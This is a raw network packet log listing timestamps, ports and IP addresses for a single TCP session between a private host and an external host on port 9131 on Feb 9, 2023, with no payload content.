Feb 9, 2023 00:59:58.942230940 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.942248106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942266941 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.942270041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942291021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942311049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942312956 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.942331076 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942352057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.942353010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942373991 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.942389965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.988317013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.020828962 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.020865917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.020886898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.020912886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.020929098 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.020941019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.020972013 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.021004915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.021102905 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.023947001 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.023989916 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024015903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024035931 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024058104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024085045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024100065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024111986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024159908 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024486065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024560928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024602890 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024630070 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024657965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024696112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024696112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024717093 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024745941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024759054 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024770021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024794102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024813890 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024817944 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024842978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024853945 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024868965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024912119 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.024916887 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024945021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024981022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.024986982 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025012016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025038958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025067091 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025075912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025103092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025120020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025130033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025172949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025173903 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025202036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025238037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025253057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025269985 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025311947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025316000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025341034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025382996 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025388002 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025409937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025435925 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025458097 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025460005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025492907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025501013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025588036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025614977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025636911 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025639057 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025679111 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025703907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025739908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025765896 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025784969 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025789976 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025832891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.025927067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025959015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.025985003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026005030 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026010990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026051998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026089907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026114941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026139021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026155949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026169062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026213884 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026216030 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026251078 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026283026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026293993 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026326895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026361942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026372910 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026387930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026428938 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026434898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026483059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026510000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026525021 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026547909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026588917 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026608944 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026637077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026679039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026679993 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026727915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026753902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026781082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026782990 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026817083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026827097 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026843071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026880026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026881933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026916027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026940107 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026963949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.026988029 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.026995897 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027023077 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027034998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027076006 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027096033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027133942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027167082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027177095 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027204037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027236938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027245045 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027261972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027302980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027309895 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027350903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027378082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027401924 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027404070 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027446985 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027447939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027487040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027513027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027538061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027561903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027595043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027642012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027653933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027677059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027704000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027715921 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027735949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027779102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027786016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027817011 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027848959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027858019 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027874947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027920008 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027919054 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.027940035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027959108 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.027977943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028007030 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028023005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028043985 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028072119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028098106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028116941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028119087 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028165102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028166056 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028192997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028232098 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028243065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028261900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028314114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028332949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028371096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028390884 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028410912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028414011 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028461933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028466940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028502941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028522968 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028542995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028577089 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028608084 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028619051 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028681993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028716087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028750896 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028758049 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028769970 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028789997 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028791904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028826952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.028846025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028917074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028937101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.028966904 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029005051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029035091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029046059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029057026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029093027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029196978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029222965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029253006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029277086 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029294014 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029299021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029326916 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029341936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029369116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029395103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029448986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029479980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029500008 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029504061 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029525995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029539108 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029546022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029567003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029592037 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029613972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029634953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029663086 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029663086 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029711008 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029723883 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029745102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029778004 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029782057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029809952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029836893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029858112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029865980 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029897928 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.029900074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029921055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029952049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.029974937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030002117 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030028105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030042887 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030050993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030083895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030114889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030138969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030184031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030196905 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030222893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030263901 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030280113 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030292034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030312061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030330896 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030332088 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030366898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030402899 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030435085 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030456066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030481100 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030503035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030527115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030545950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030550957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030580997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030591011 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030608892 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030648947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030666113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030706882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030757904 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.030940056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.030961037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031001091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031008959 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031039000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031059027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031070948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031085968 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031104088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031121969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031147003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031157017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031169891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031183958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031198978 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031209946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031222105 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031239033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031260967 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031274080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031284094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031328917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031352043 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031359911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031385899 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031402111 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031405926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031426907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031443119 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031450987 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031486988 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031510115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031574965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031608105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031620026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.031627893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.031662941 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.035744905 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.035782099 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.035836935 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.036267042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.036289930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.036416054 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.039803028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.039860010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.039887905 CET	9131	49700	128.31.0.39	192.168.2.5
